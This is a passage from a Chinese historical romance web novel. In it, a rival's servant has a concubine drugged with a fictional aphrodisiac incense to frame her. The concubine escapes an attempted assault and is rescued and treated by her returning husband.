五百文一张的砑花笺,竟如同哄孩童一般,拿来给她包了糖果。 五公子,专宠她一个。 这纸居然这么贵。 寻真看到念芙一脸三观被震碎的表情。 心想,以后还是不用这纸包糖了。 过了许久,念芙凑了过来,声音极轻地问:“柳姐姐,我能再问你一个问题吗?” 寻真偏头,看了眼她的表情,难以启齿的样子。 寻真:“你问吧。” 念芙咬了咬唇,似是下了极大的决心,压低声音,几乎是用气声说道:“柳姐姐,我就想问问,你是如何……” “……将五公子拴在你一人的床榻上的?” 在念芙眼中,寻真实乃吾辈楷模。 谢漼出身世家,人中龙凤,风姿卓绝。寻常女子入了这般高门大户,莫说独霸后院,便是想分得一丝恩宠,都得费尽心思。 可寻真不仅做到让谢漼的后院只有她一人,还一举诞下长子,这般能耐,实在叫人惊叹。 念芙认定她必有过人之处,哪怕所问之事再是羞耻,念芙也要问个明白。 若是能学到些笼络男人的诀窍,日后岂不是荣华富贵享不尽了? 寻真当场石化,手一松,瓜子皮与瓜子肉都落在衣领上。 念芙扯了扯她的衣袖,双颊泛红,满是恳切道:“柳姐姐,你就行行好,告诉我吧……” 见寻真仍不肯开口,念芙稍作思忖,接着道:“柳姐姐,我知晓砑花笺的价格,是因……我原先的主子便是做这砑花笺生意的。” “半月前,旧主带我赴宴,遇了四爷,四爷用一幅古画把我换了来。” “四爷院中姐姐妹妹太多,我怕失了宠,便没了好日子过,心里慌得很,柳姐姐,你就当救救我吧!” 在念芙看来,她从商贾之家踏入这高门大院,是上天的恩赐,她定要紧紧握住。 眼下,得想法子留住四爷的宠爱,最好能生下一儿半女,便能稳了。 寻真听了这番话,认真琢磨起该如何回答。 她自己的情况,是没有参考价值的。 寻真觉得,谢漼女人少,大概是因为他智商高,大部分精力都放在功名利禄、仕途晋升上。没时间发展别的。 而且,现在只有她一个妾,以后又不一定。 以谢漼所在的阶级,获取性资源就是一句话的事儿。 没准在陇州,就寂寞难耐纳了一个呢,等他回来,自己说不定也有个姐姐或妹妹了…… 寻真回想起以前看的各种狗血八点档电视剧,提取精华。 她弯弯手指。念芙凑近。 “就是吊着,叫人吃不着。” 念芙满脸惊讶,张大了嘴巴,不太认同地说:“怎能将爷推开呢?” 寻真竖起一根手指,左右摇摇:“不是让你直接拒绝,而是要留有余地。” “就是——欲拒还迎,欲擒故纵,若即若离。” “你要让人觉得,他马上就要得到了,却又总是差那么一点点。” “这种患得患失,就能勾得人不上不下,为你牵动。” 念芙觉得好难:“可这怎么做呢……而且,若一直这般拒绝,不叫人得到,爷必定会厌烦的吧?” 寻真摇摇头:“这里面还有个学问,叫做沉没成本。” 念芙茫然。 寻真解释:“就好比你旧主,若是头一回做砑花笺生意 ,投了一万两银子,可运输的时候,纸张被雨水淋坏了,卖不出去,这一万两就打了水漂,收不回来了。” “你觉得,这种情况下,他会因为这一次失败,就放弃做砑花笺生意吗?” 念芙摇摇头,又点点头。 寻真接着说:“这就是沉没成本。” “他投了钱、花了时间和精力,却血本无归。一般人就会因为已经付出了这么多,就更想得到回报。” “以避免先前的投入显得毫无价值,导致越得不到越想得到。” “而欲擒故纵这招,会让他觉得还有希望,就会不断投入,从而陷得越来越深。” 寻真理论上说起来一套一套的。 念芙边听边点头,一脸求知若渴,恨不得拿出小本本把重点都记下。 寻真把电视剧里提到的高段位手法都教给念芙了,希望能有用吧。 “但是,答案仅供参考!” 寻真说:“总之,你具体实施起来,还是要灵活一点,不要照搬照抄了。” 寻真看到念芙满眼星星。 原来当“老师”真的有爽点欸! 念芙崇拜地看着她:“柳姐姐,我都记住了。” 寻真:“对了,还有最最重要的一点。” “要是这个没做到,别的做再好都白搭。” 念芙:“什么?” 寻真按了下左边胸口:“守住你这里。” 寻真跟念芙聊得火热。 台上唱念做打,恰好掩盖了她们的交谈声。 另一边,宋嬷嬷瞧了寻真一眼,弯下腰,对吕令萱说:“夫人,您瞧瞧,那柳氏当真是上不得台面,竟与四爷院里的丫头聊得火热。那丫头我可听说了,是四爷用一卷画从商户手中换来的粗贱婢子,这柳氏……” 吕令萱余光瞥见:“她那般出身,又能有什么良家愿意与她结交?与这等丫头往来,倒也不算辱没了她。” 凝冬压低声音,在一旁添话:“夫人,恒哥儿从方才起,可就一直盯着柳氏呢。莫不是,他俩早就私底下偷偷见过了?恒哥儿那般行事,莫不是柳氏在背后撺掇的吧!” 自从将谢璋推给二夫人,她便察觉到二夫人对自己疏远了许多,平日里交谈,也尽是虚情假意,仿佛因为那事,二人之间生出了间隙。 吕令萱恨道:“我没短他吃也没短他穿,他竟如此对我,这口气,我实在难咽!” 宋嬷嬷又往寻真和念芙那边瞧了一眼,眼珠子一转,计上心来:“夫人,我倒有一计,可彻底除了那柳氏……若是事成,便是爷回来了,也无力回天。” 吕令萱:“是何法子?” 宋嬷嬷俯下身,在她耳边低语几句。 吕令萱有些迟疑:“这……若爷回来了,一查便知。” 宋嬷嬷:“爷回来了,生米早已做成熟饭,又能如何?更何况,还有恒哥儿在呢。若爷执意要查,也得顾及恒哥儿的颜面。” 吕令萱:“我本也不想赶尽杀绝,是这柳氏,实在欺人太胜。” 宋嬷嬷:“若这柳氏一直这么得宠,夫人往后哪还有立足之地?到最后,怕不是要……宠妾灭妻!” 台上一声清脆的檀板敲响,吕令萱猛地一颤。 最后叹一口气,“去吧……” 第53章 第53章“五公子!” 宋嬷嬷一低头,瞧见一个小娃娃,穿着像年画里的童子一般。 那娃娃一对乌黑的眼珠直勾勾地盯着她,眼皮都不眨一下,眼睛大得吓人。 宋嬷嬷心头一惊:“……恒哥儿!” 吕令萱和凝冬也瞧见了,吓得瞳孔收缩起来。 台上,戏子们咿咿呀呀地唱着。 宋嬷嬷扯出一抹笑,问道:“恒哥儿怎的来了?莫不是想你母亲了?” 谢璋看着她,半晌都不说话。宋嬷嬷的笑便僵在了脸上。 谢璋伸出手,指了指吕令萱脚下。 一个彩锻包裹的小球,不知何时滚到她脚边。 恒哥儿也不知是什么时候过来的,可有听到她们方才说的话? 不过,一个两岁的小娃娃能知道什么? 宋嬷嬷蹲下身,将小球捡起,递向谢璋。 这球很小,只比谢璋的手大一些。 谢璋并未伸手去接,而是转头看了一眼。 收到小主子的眼神,碧珠小跑着上前,拿过球,递给谢璋。谢璋才伸手接了过来。 宋嬷嬷嘴角微微抽搐了一下。 谢璋走后,宋嬷嬷抬了抬手,示意一丫鬟上前,附耳几句,那丫鬟便领命退下了。 吕令萱看了眼谢璋:“那小娃娃方才何时来的?莫不是听见了咱们的话?” 宋嬷嬷:“便是听见了又能如何?两岁的娃娃能懂什么?便是懂了,他又能做什么?” 这边,寻真正专注看节目,身上突然一湿。 路过的丫鬟似是崴了脚,茶壶倒翻,全泼到了寻真身上。 寻真站起来,茶水顺着衣裳不断淌下。衣服全湿了。 丫鬟立刻跪下了:“奴婢知错,奴婢知错。” 旁边人都看了过来。 寻真:“没事,你起来吧。” 一旁丫鬟上前,道旁边接客处有空房间,可去那里换身衣裳。 月兰唤小厮去取衣,然后陪寻真去接客处。引儿便留在原地。 寻真跟着丫鬟在回廊中走,七拐八拐,寻真觉得再走一会儿,衣服都吹干了。 月兰:“还未到么?” 丫鬟伸手一指:“前面便是了。” 小厮跑得快,衣服也送到了,月兰捧着衣服,与寻真进了一间空屋子。 打开门,两人只闻见一股异香。 便双双失去了意识。 谢璋朝后看了一眼,仰起脑袋,对孙宜说:“伯祖母,我想出去玩儿。” 孙宜吩咐碧珠和翠玉二人陪着去,仔细瞧着,不要叫恒哥儿玩出汗来,时辰差不多了,便带他回来。 两丫鬟应:“是。” 彩球上有根小丝带,谢璋低下头,将彩球系在腰间,然后向碧珠张开手臂。 碧珠一惊,恒哥儿竟主动要她抱,这可真是难得。 碧珠抱起谢璋,谢璋指了个方向:“去那。” 碧珠:“是。” 谢璋扶着碧珠的肩膀:“快些。” 碧珠便加快了步伐。 长廊。 谢进坐在廊凳上,腿悬在外面,晃荡着。 怀里捧着个花雕小匣子,手里正把玩着什么。 方才他跑出来,是为了找礼物。 今年来的人多,谢进收到的生辰礼几乎堆满了整个屋子。谢进又不能叫丫鬟们帮忙一起找,只得自己一个个翻。 每份礼物都有丫鬟贴上笺纸,府中的便写院子名称,府外的便写宾客姓氏,以便识别。 谢进找了许久,才找到了寻真送给他的礼物。 小匣子里,躺着一块玉佩。 玉佩是一只鹰,振翅欲飞。 谢进想起两年前的岁除夜,与寻真一道溜出府去,是他来到京都后,难得的快活日子。 那日,他送给姐姐一只鹰灯。 姐姐回赠他一只鱼灯。 姐姐当时念的句子,他还题在了灯上。 这回,姐姐送了他鹰。 谢进很喜欢,玉佩拿在手心,翻来覆去把玩。 将玉佩系在腰间,站起来,转了个圈。 最后坐下来,把玉佩重新放回匣子里。 玉佩放进去的时候,手指触碰到下面垫着的木片,感觉木片似是动了一下。 谢进拿开铺在玉佩下的丝绸,取出木片。 最底下还藏着物件。 谢进拿起来看。是用竹子做的。 谢进想起第一次见寻真,她便在院子里做竹椅。 这玩意儿,定是姐姐亲手做给他的! 谢进仔细端详。 两根细长的竹柄,还有两片形状颇为奇特的竹片,看上去像是一对翅膀,只是偏长偏瘦些,中间厚实,还有一个小圆孔。 谢进研究了好一会儿,才发现竹柄一端的螺旋状部分,恰好可以旋进竹片的小圆孔中。 安装好了。 谢进猜不出这是用来做什么的。瞧着像是个玩具,但他不知道该怎么玩。 谢进抓耳挠腮,坐在廊下想。 琢磨的时候,谢进还发现,竹片下方刻着自己的名字呢,一个“进”字。 谢进想了许久,都没想出玩法。 直到手没拿稳,这物件落了下去。正巧一阵风吹来,将竹片连着杆子吹了起来。 竹片快速旋转,竟在空中飞了起来,久久都未落下。 谢进终于知道怎么玩了! 寻真本以为做竹蜻蜓很简单。 没想到也是个技术活,竹片薄了,极易损坏,竹片厚了呢,飞起来又很快会掉。 做失败了十几次,才成功。 十三岁的半大少年,在廊下欢快地玩起了竹蜻蜓。 本想看了礼物,便回去看节目。 玩着玩着,竟忘记了时间。 玩久了,谢进还掌握了窍门,知道手 该如何用力,朝哪个方向发力,竹蜻蜓便能按照他想要的方向飞去,还能飞得又高又远。 谢璋拍了拍丫鬟的肩膀,稚嫩的声音响起:“碧珠,放我下来。” 碧珠依言将他放下。 谢璋又道:“我想吃些酥酪果子。” 翠玉道:“奴婢这便给恒哥儿去拿!” 谢璋点了点头,看着翠玉消失在视野中。 过了一会儿,道:“碧珠,我有些冷。” 碧珠环顾四周,这附近一个下人都没有,道:“奴婢给恒哥儿去拿衣服,恒哥儿在这儿坐着,可莫要跑去别处,可好?” 谢璋:“好。” 碧玉离开后,谢璋抬步朝另一个方向走去。 这个冬日,谢璋又吃胖了,穿得还厚,才小跑了一会儿,便气喘吁吁的。 他腰间系着的小彩球,随着他跑动,一弹一弹。 拐过弯,谢璋喘着气,小胸脯一起一伏。 面前突然飞来一个物件。 谢璋仰头望去。走廊另一边,是谢进。 竹蜻蜓缓缓落在谢璋脚边,谢璋低头看了一会,又抬起头看谢璋。然后蹲下圆润的小身子,捡起竹蜻蜓。 肉嘟嘟的手握着竹柄,大眼睛仔细地打量着。 谢进有些尴尬,挠了挠头,靠近谢璋,见谢璋小手攥得紧紧。 谢进这么大了还爱玩呢,更何况这么小的孩子。 其实也不是不能送给恒哥儿,谢进想,反正他有两个呢。 可是……那是姐姐亲手做的,上面还刻着他的名字呢。 谢进想到这个,就舍不得。 “恒哥儿,你……” 谢进正为难着,谢璋看了他一眼,便将竹蜻蜓还给他。 谢进接过,把竹蜻蜓拆开,放回匣子里。 若是别的小孩子看到这新奇玩意儿,恐怕早就抓着不撒手了。 恒哥儿很乖呢,果真是姐姐的孩子。 谢璋看着谢进旋开竹蜻蜓的柄,小手不自觉地摸了摸腰间的彩球。 谢璋跨着小步子往前走。 谢进拿着匣子追上去:“恒哥儿,你要去哪儿?你身边的丫鬟呢?” 谢璋小步子跨得越来越快,没有理谢进。 谢进:“恒哥儿,你是不是又走丢啦?” 谢进想起上回恒哥儿走丢,撞见他跟姐姐翻楣姨娘院子的墙。 姐姐当时还说,恒哥儿不认识她,就算说出去,旁人也猜不到是她。 而谢进自己就更不用担心了,他爱翻墙这事在府里无人不知,就算翻的是楣姨娘的墙,打个哈哈也能糊弄过去,实在不行,最多挨顿打,没什么大不了的。 而最后,无事发生。 恒哥儿,什么都没说呢。 谢进抓住谢璋的肩膀,将他拦住,蹲在他面前,用哄小孩子的语气说道:“恒哥儿,你要去哪儿呀?十五叔送你去,不过得先等我把东西放一放哦。”说着,还晃了晃手中的匣子。 谢璋看着他道:“不用你送。” 然后转过头,看着肩膀上的手。 谢进便松开了手,目送谢璋小跑着远去。 为什么总觉得恒哥儿对他有敌意呢? 谢府门前。 一阵高亢的马嘶声传来。 马仰头长鸣,前蹄高高抬起,在空中悬停片刻后才落下,发出一连串短促的踢踏声。 马上年轻男子捏着缰绳,一跃下马。 男子头上束冠,身着素袍,外披鹤氅,身姿挺拔,疾步朝府内走去。 看门的下人远远瞧见一行人疾驰而来,待走近了,才看清来人。 “是五公子!” “五公子回来了!” 立马有两个门童撒腿往府里跑去,传消息。 下人们纷纷行礼。 “五公子。” 谢漼脚步不停,朝西行去。 他走在府中,引得不少丫鬟小厮驻足观望。 府中这两年又新进了好几批丫鬟,她们都只是听闻过五公子的事迹,却从未见过本人。 此刻,突然见到这般高大挺拔、器宇轩昂的年轻俊美男子,一时都看怔了。 “那是谁呀?怎么从未见过?” “莫不是今日来参加十五公子生辰宴的客人?” 有个来了四年的丫鬟看着眼熟。如此容貌风仪,府中便只有一位。 “是五公子!” 有丫鬟都看痴了:“百闻不如一见,五公子竟生得这般模样,好似画上的仙人……” 另一个丫鬟端着托盘,伫立原地,望着谢漼的背影:“总觉得五公子,与两年前相比,有很大不同了呢。” 过了一会儿,她才想明白缘由:“是了,五公子已行过冠礼,成年了呢。” 不多时,承安得了消息赶来,立在清挽院门口。 谢漼已经从丫鬟口中得知,寻真去参加十五弟的生辰宴,故而也不急着去找,先在院子里沐浴更衣。 谢漼出来后,承安上前,捡着重点讲了府上近两年发生的大事,比如楣姨娘被幽禁一事,还有谢璋已经从惠宁院搬出来,养在二夫人那里。 谢漼颔首,耳边传来若有若无的胡琴声,他抬步朝着主花园走去。 行至半路,却见一丫鬟慌慌张张跑来。 承安定睛一看,正是姨娘的贴身丫鬟引儿。 承安上前拦住。 引儿仰头看去,瞧见谢漼,双腿一软,“扑通”一声直接跪下。 “爷。” 谢漼:“发生何事?” 第54章 第54章“桃蕊幻梦” 引儿疑惑,不过是换身衣服,怎过了一盏茶还未回来,又仔细回想方才情形,那丫鬟端着茶过来,战战兢兢,神色紧张,眼神闪躲。 像是故意的! 引儿越想越慌,连忙跑出来,想去找寻真。 又想,若是有人要害姨娘,便是找到了她一人也应付不了。于是便打算直接去外院找承安。 却正好撞上谢漼二人。 引儿便说了自己心中的怀疑。 谢漼:“将那二人带来。” 承安随引儿过去认人,很快揪出了那两个丫鬟。承安在府中,便是代表谢漼,自然都认识他。 两丫鬟一见,两腿直打哆嗦。 被带到谢漼面前,二人颤抖着,“扑通”两声,通通伏倒在地上,抖如筛糠。 承安问了几句,便都招了。 一丫鬟只说自己收了五两银子,被一个不认识的丫鬟指使,往寻真身上泼茶水,其他一概不知。 另一丫鬟也交代,同样是收了银子,只被吩咐把人带到一个屋子。 谢漼:“在何处?” 那丫鬟说完,承安道:“爷,小的这便……” 话还未说完,谢漼便转身,大跨步离去。 寻真脑子被像灌了铅,昏昏沉沉,鼻腔中不断涌入一股香甜的气味。 那味道,像水蜜桃,又有些像荔枝。 寻真半睁开眼,眼前飘着红色纱幔,重重叠叠。 好热,好渴。 ……这是哪儿? 寻真以为自己在梦中,身下床褥又软又松,像躺在棉花上。 寻真打了个滚,继续闭上眼睡。 台上,戏曲正唱到高潮,丝竹锣鼓声铿锵作响。 宋嬷嬷满脸喜色,快步走到吕令萱身旁,附耳:“夫人,一切都安排妥当了。再过一个时辰,成了事,再把二夫人引到那儿,到时,便能彻底除去这心腹大患了。” 吕令萱:“那香真有如此神效?” 宋嬷嬷:“这香,只消闻得半刻,便四肢酥软无力。” “若不断闻嗅,神魂俱失。寻常良家闻了,都得稀里糊涂,由着人摆弄,更何况那柳氏本就出身风月之地,身子必定被调/教过,怎扛得住这等厉害玩意儿?” 吕令萱思索片刻,问:“可对男子有效?” 宋嬷嬷一听便懂了:“夫人,不可。” “对于心志坚定之人,这香的效果便大打折扣。爷非常人,稍有差池,便极易被识破。” 吕令萱叹气,“可惜。” 寻真睡着睡着,头愈发重了。 身体也越来越热,寻真扯开了衣襟,忽然听到一个陌生的声音。 “美人别急……” 脚踝处痒痒的。 寻真手使不上劲儿,撑起身,用力晃了晃脑袋。 眼前的重影消失,视线变得清晰了些。 隔着层薄薄的红色纱幔,有个模糊人影,坐在床尾。 一只手,正摸着自己的脚。 寻真吓清醒了,用力一扯,刺啦一声,床边的纱幔撕了下来。 寻真坐起来,纱幔飘落,与床尾那人的目光对上。 寻真一怔。 谢漼? 谢漼回来了? 这人脸上泛着红晕,眼神浑浊:“怎了?可是等不及了,爷这便好好疼你。” 不对,不是谢漼! 这对眼睛几乎跟谢漼一模一样,眼神却截然不同。 而且,这人脸上的肉明显有些松了,眼周一圈暗沉。看着肾虚。 仔细一看,眼角还有细细的纹路。 至少三十了。 寻真:“你是谁?” 谢佑虽没什么功名官职,但因是谢家人,时常有人想通过他搭上谢家这条线,知晓他喜好美色,便投其所好,送些美人过来,他也向来是来者不拒。 方才仆役引他来,这院便是常用来招待外客的。谢佑熟门熟路,也就没有怀疑。 谢佑览遍美色,今日这个,就勉强能入眼。 他院子里美人太多了。早年他不怎么挑,只要看得过去,就收了。现在院中快装不下了,也得悠着点。 方才他一进来,看到这女子的脸,便想退货。 实在是这般姿色,他院里一抓一大把,不差这一个。 但屋中燃着异香,谢佑乃风月场老手,一闻便知这香烈,若是硬憋,反倒伤身。 谢佑便妥协了,再看看床上女子,也还行,便也收了吧。只是那背后送礼之人手段太过阴诡,等这事完了,非得好好找他算账。 谢佑看着寻真。 方才此女闭着眼睛,他只觉姿色尚可,堪堪能入口。现下她醒来,清凌凌的一对眼望过来,谢佑沉寂的心竟久违地动了动。 这一对眼,想必就是幕后之人将她送来的缘由。 如此纯澈。 若春溪,是未经尘世沾染的清透。 谢佑心里一叹,这一个,竟将他满院的芬芳都比了下去。 再看这女子神色,仿佛不知道发生了何事。 想来是被背后之人强行送来的。 谢佑问道:“你可知,自己如今在何处?” 这人眼神没刚才那么色了。 但寻真没心情跟他交流。 寻真一边打量着四周环境,一边回想之前发生的事。本来是要换衣服,一进屋子,就直接晕了过去。 对了,月兰呢? 屋子里还飘着一股浓烈的果香,寻真发现自己手脚发软,一点劲都使不出来。 寻真屏住呼吸,不闻这味道,脑子便会稍微清醒一些。 这香,有问题。 谢佑见她不说话,便直接解释:“如今你已在谢府。” “正是博陵谢氏这一门。不管你是因何而来,今后跟了我,便是我谢佑的人,只要安分守己,日后荣华富贵自然少不了你的。” 谢佑? 寻真听月兰说过这个名字。 再根据这人的脸。 寻真很快就有了答案。 这人是—— 谢漼他爹! 有人要陷害她! 门一开,让别人看到她和谢漼他爹共处一室,那还了得? 完了,小命不保。 寻真眼珠子转着,双手握拳,死死掐着手心,放缓呼吸,让自己镇定下来。 “哦,好……”寻真往床边挪了一下。 低头看了眼床下,没鞋。 这人貌似也不知道她是谁,多半也是被人暗算。 寻真忍不住思维扩散了下。 这父子俩的智商差距不是一点点大啊。 果然遗传是门玄学。 寻真跳下床,腿一软,膝盖重重磕在地上,胳膊肘撑了下,撞到麻筋,眼泪都飙出来了。 这一撞,倒是让她清醒了。 连滚带爬地往门口跑去。 跑到门口,正要打开门,腰间一紧。 一双带着热意的手箍住了她。 头顶上传来谢佑的声音:“你中了桃蕊幻梦香,若不及时疏解,对身子有害。” “你莫怕,解此香我有经验。” “一切都交给我,我定怜惜你,不叫你受伤。” 那手,在腰间动了动,寻真身子里那股躁动的热直直冲向头顶。 糟糕。 寻真用力咬了咬唇。 转身戳眼,踹裆。 便听人痛呼一声,寻真眼前又重影了,看见谢佑捂着裆,变成三个人影。 寻真打开门,冲了出去。 宽阔走廊中,空无一人。 凉风吹来,稍稍拂去了她身上的些许热意。可胸口处似有烈火灼烧,这凉风根本无法驱散。 她赤着脚踩在檀木地板上,发出沉重的砰砰声。 这事绝不能让人发现,她得赶紧跑回自己的院子。 可是……她不认识路! 寻真越跑腿越没劲,面前的路都化成了两条,意识也快要消散了。 直到听到身后传来脚步声。 寻真连扇自己两个巴掌,加快步速。 谢佑追了出来。 他没想到,这女子如此烈性,竟直接跑了出来。 可她却不知,他是为了她好。 若这香,半个时辰未解,到后面神志完全消失。她这般衣钗散乱,面浮酡红,若是被府中的男仆撞见,但凡稍有经验的,便能看出她中了媚香。 若被拖进暗道玷污,那可就真的害了她。 还好那女子脚下使力偏了,只踹中他腿侧,若是伤到子孙根,谢佑便是再怜香惜玉,此刻也不会管她。 身后的脚步声越来越近,几乎快追上她了。 寻真再拍了下自己的脸,手碰上去,烫得吓人。 拐过弯,寻真好像看到走廊尽头有人,可眼前一片模糊,实在看不清。 晃晃脑袋,右边好像也有路? 往右吧! 寻真还未跑到转弯处,尽头那人便向自己奔来。 身后的脚步声也近了。 他们是一伙儿的? 前有追兵,后有堵截。 难道今天真要栽了? 寻真脚步刹不住,一头撞到了前方那人身上。 鼻尖飘入一缕清雅香气,似有安神静心的效果。 这香,好熟悉…… 寻真刚才用力过猛,突然停下,双腿不住打哆嗦,直发软。 软绵绵的,被抽了筋似的。 身子朝下滑去。 下一刻,腰被圈住了。 寻真的脸压在这人胸膛上,听见胸腔里震颤出声音。 这声音又气又怒。 “父亲!” 寻真被这声音震了震,神志瞬间恢复了几分。 仰头看到这人的脖子,和下巴。 是谢漼。 脑中紧绷的神经瞬间松了。 这个是真谢漼。 谢漼回来了。 她小命保住了。 寻真又想,谢漼平时说话就一个调。 谢漼跟别人不一样,要是生气,声音反而更温柔,听得人浑身起鸡皮疙瘩的那种。 这么气恼,明显表达愤怒的声音,还是第一次听到。 谢佑一愣,看看儿子。 他也吸了不少桃蕊幻梦香,一时脑子拐不过弯来。 “缮之,你回来了?” “何日回来的?” 再看看儿子抱住的那女子。 “此女中了桃蕊幻梦香,你若想要,需得快些入——” 谢漼厉声打断:“父亲!” 第55章 第55章“这是你爹” 见谢佑目光在寻真身上流连。谢漼伸出另一只手,盖住寻真身形,袖袍宽大,几乎将她整个人都掩住了。 谢佑视线往下,看了看寻真赤足,又抬起头来看谢漼。 谢漼声音又冷又沉。 “此女为我妾室,父亲真是糊涂了,叫旁人利用,竟还浑然不知么?” 说完,谢漼便圈着寻真转身离去。 谢佑呆站在原地。 寻真走了几步,腿越来越软,完全撑不住身体。 于是抓了抓谢漼胸前的衣服。 谢漼单手环着她,低头,见她脸颊两边,隐隐覆着巴掌印,神色一寒,轻轻摸了摸她的后脑:“没事了。” 寻真扯着他衣服,气若游丝:“我站不住了……” 方才谢佑追逐寻真那一幕,一直在眼前浮现。 谢漼不禁后怕,若不是他归心似箭,快马七日赶回,将行程压缩至极限。 才恰好赶上。 要是晚了半个时辰,恐怕便见不到真儿了。 如此情形,怎不让人胆颤? 震惊之下,胸腔剧烈翻涌,到现在都未平复。 故而谢漼才没注意到,寻真竟是裸着足的。 谢漼看向她双足,脚侧有几道血痕,应是奔逃途中留下的。 谢漼将她打横抱起。 寻真完全放松下来,头靠着谢漼的胸膛,意识渐渐沉了下去。 那头。 谢进抱着匣子,在谢璋五步之外。 恒哥儿这么小,身边还没下人,很容易磕着碰着,或是又走丢了。 还是得看着点。 谢进跟在谢璋身后,愈发困惑。 恒哥儿每回走到拐角处,都没有思考、笃定地转向一边,似是认识路的样子。 并且目的很明确。 恒哥儿是要到哪去? 谢进跟着谢璋又转过一个弯。 见他停住脚步,仰头望着前方回廊。 谢进也看过去,呼吸一滞。 只见一高大男子抱着一女子,大步往回廊另一边走去。 谢进瞥见那女子半张脸。 是——姐姐! 那男子衣袍宽大,行时带风。 远远望去,身形若松似竹,气质不凡。 谢进父亲外放时,他才五岁,那时候年纪小,就算见过谢漼,也记不得了。 更何况,谢漼那会儿也就他这个年纪呢。 因此,五兄对他来说,只有一个模糊的印象。 谢进常跑出府玩,在京都酒楼吃饭时,偶尔会听见备考的仕子们说起谢漼。 道是谢氏五郎,容止端雅,有逸群之才。 那人气质出尘,风华绝世,一见便能即刻认出。 真如那些仕子所说。 谢进只看了背影与侧脸,便认出来了。 这是他五兄,是谢进每每听外人夸赞都感到与有荣焉的五兄。 也是,姐姐的……男人。 谢漼并未注意到谢进和谢璋二人,身影很快消失在回廊尽头。 谢进想起刚才一撇间寻真的脸。 那脸,红彤彤的,眼睛紧闭,似乎意识不清的样子。 姐姐,是怎了? 谢璋转身,往回走。 谢进立在原地,陷入沉思。身后的呼唤打断了他的思绪。 “恒哥儿!你怎到这儿来了,奴婢快担心死了。” “恒哥儿,快随奴婢回去吧!” 谢璋嗯了一声。 谢璋与丫鬟离去,谢进抱着匣子,站了好一会,也回去了。 寻真胸口仿佛燃了个火球,随着谢漼走动,她感觉那颗火球膨胀,直接炸开了。 烧得难受,寻真不由自主地找凉快的地方。 脸蹭起了谢漼胸前的衣襟。 一下一下地摩擦。 谢漼声音有些哑:“真儿……且忍一忍,快到了。” 寻真院子太远,谢漼便直接带她去了静远居。 把寻真放到床中。 寻真呢喃着。 谢漼摸她的脸,滚烫。 接着,翻开她眼皮,左右查看。 又拿起她左右手,分别切脉。 脉搏跳动极快,一息五至以上。 是滑数脉。 再触她腮腺,衣襟拨开,往里探去,腋下、胸口……往下各处,触之即离。 此刻谢漼只为查看病症,行切诊,并无男女猗念。 全身发热、面红目赤、潮热盗汗。 这是中了热毒。 谢漼取纸铺开,快速书写,写到末尾,因下笔过快,收尾时手没停稳,最后一字歪斜着,竟扭曲了。 谢漼唤人进来:“备药浴,速去。” 仆人捧纸,快步退下。 谢漼坐在床边,将寻真颊边凌乱的发丝往后捋去。 寻真呓语着,谢漼低下头,听不清她口中所言。 药浴备好,谢漼没唤人,自己将寻真抱到浴房。 她已经完全失了意识,身子绵软,一被抱起,脑袋和手臂都耷了下来。 谢漼搂着寻真坐在榻上,捧着她的脸,唤她:“真儿……” 寻真支吾一声,眼睛都没睁开。 浴房中水汽弥漫,无风,热气蒸腾。 谢漼解了寻真衣物,触到她愈发滚烫的身子。 眼神沉了下来,想起方才谢佑所说。 桃蕊幻梦香。这香,竟如此毒。 寻真感觉有人在摆弄她的四肢,可她完全睁不开眼,整个人像陷入泥沙里,都快呼吸不上来。 只想找个凉快透气的地方。 身子又不由自主地蹭了起来。 谢漼将她乱动的脑袋按住了,胸口剧烈起伏。 她此刻中了热毒,意识不清,怕是自个也不知道在做什么。他却是清醒的,不能由着她乱来。 谢漼深吸一口气,将寻真抱起,一同浸到药桶中。 因她中的热毒猛烈,谢漼加重了药量。 此刻,寻真赤身泡在药汤中,药性很快透过肌肤渗入体内,寻真只觉得有一股凉意与体内的火相互冲撞,在自己的身体内打架。 寻真一会热,一会冷。 难熬死了,便扑腾起来,想要从水里爬出去。 下一瞬,四肢便被人牢牢锁住了。 寻真求着:“放我出去,放我出去……” 宽厚的大掌在身后安抚着:“真儿……再忍一忍,很快便好……” 那声音低哑,似也在极力忍耐着什么。 寻真难受死了,万分煎熬,汗珠不断地从脑门沁出,眼睛也睁不开。有个火球在身体里横冲直撞,迫切地找个出口。 可腰肩上的手箍得太紧,将她困住了。 寻真便加大了力道挣扎。 “放开……” 谢漼本就忍得辛苦,手上不敢用力,怕伤了她。可没想她力气愈发大了,几乎快要挣脱出去。药汤也随着她挣扎泼洒出许多。 谢漼只能加力,将她身子紧紧捆在怀里。 她身上没有衣物,毫无阻隔地贴着他。 谢漼虽未脱衣,可人泡在药汤里,跟脱了也没什么两样。 即便谢漼现在没有那方面的心思,但身体还是不可避免的有了反应。 在陇州两年多,谢漼怎会不想。 刚到陇州那半年,尤为难熬。 谢漼正是血气旺的年纪,她孕后,谢漼便一直旷着。 后来,念着她失忆,接受不了那事,便一直没碰她。 她不肯随他去陇州,谢漼岂不知她打的什么主意? 谢漼虽遂了她的愿,却有些悔了。 到了陇州后,身体的反应比在东都时更加强烈。 每至深夜,便想起她。 身躯犹如火烧,泡冷水也无法降下。 谢漼不是没有再纳一个的念头。 但谢漼本就厌恶父亲那般对女子来者不拒。 没有自控能力的人,做不成任何事。 因而谢漼,绝不会屈从于身体欲/望。 只为满足身体需求,那与禽**配又有何异? 就算再纳,谢漼也得找一个自己看得入眼的。 可这么多年,入他眼的唯有她一人。 她若不拒 ,他又何至于忍了两年。 不,算上她有孕,都有三年零八月了。 念及此,谢漼便恨恨,伸手掐了掐她的脸蛋,用了几分劲。 这力道,竟将她掐舒服了。 叹息一声,脸伸上来,想让他再掐一掐的样子。 谢漼便重新把她头按在胸前,稳定住。 泡了半个时辰,药汤换了三次,谢漼探手一摸,她身子热度终于降了些。 谢漼没有唤丫鬟,只让人取了绸布,慢慢为她擦拭干净。 她这般容态,谢漼不想让任何人瞧见。 只这过程有些艰难。她实在太闹腾,一会儿想着要逃,谢漼将她抱住了,她又乱蹭起来,将谢漼折腾得身子都跟她一样热了。 总算擦干,谢漼深深呼出一口气。他身上一片狼藉。 榻上垫着毡布,谢漼便将她暂时放在上面。 这浴房无风,水汽蒸腾,热气萦绕不散,倒也不担心她吹着风会受凉。谢漼便没给她穿衣。 等谢漼换完衣,扭头一看,见她脸上的热度又泛了起来。 因榻上毡布的毛有些硬挺,她便无意识地上下磨蹭起来,似乎那样会让她舒服一些,可以缓解身体的躁动。 谢漼见她这般情状,已确定了大半。 被她吸入的,这房中催情之香。 极烈。 